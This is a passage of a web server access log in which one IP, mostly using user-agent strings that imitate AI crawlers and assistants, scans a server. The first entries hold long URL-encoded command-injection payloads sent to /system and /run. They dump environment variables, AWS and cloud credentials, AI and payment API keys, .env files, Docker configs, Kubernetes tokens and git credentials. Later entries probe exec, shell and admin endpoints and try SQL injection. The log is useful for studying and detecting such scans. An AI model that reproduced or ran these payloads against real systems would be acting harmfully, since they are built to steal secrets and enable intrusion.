3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13827 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.6) Gecko/20100101 Firefox/105.6; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13827 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.7447.156 Mobile Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /run?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13824 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.4234.239 Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST / HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST / HTTP/1.1" 200 12079 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST / HTTP/1.1" 200 12074 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/122.0.8041.156 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST / HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.5712.25 Mobile Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/130.0.3521.163 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/exec HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.5878.121 Safari/537.36 Edg/128.0.5878.121; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/run HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.9049.91 Safari/537.36; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/system HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /execute HTTP/1.1" 200 12084 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /shell HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.19) Gecko/20100101 Firefox/143.19; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /admin/config HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /admin HTTP/1.1" 200 12078 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.7567.217 Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /debug HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/exec HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/148.0.5812.77 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/run HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST /api/execute HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /?id=1' HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /index.php?id=1' HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.17) Gecko/20100101 Firefox/133.17; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /api/v0/run_sql?id=probe&sql=SELECT+1 HTTP/1.1" 200 12105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST / HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/131.0.7552.91 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST / HTTP/1.1" 200 12082 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST / HTTP/1.1" 200 12078 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /graphql HTTP/1.1" 200 12085 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) 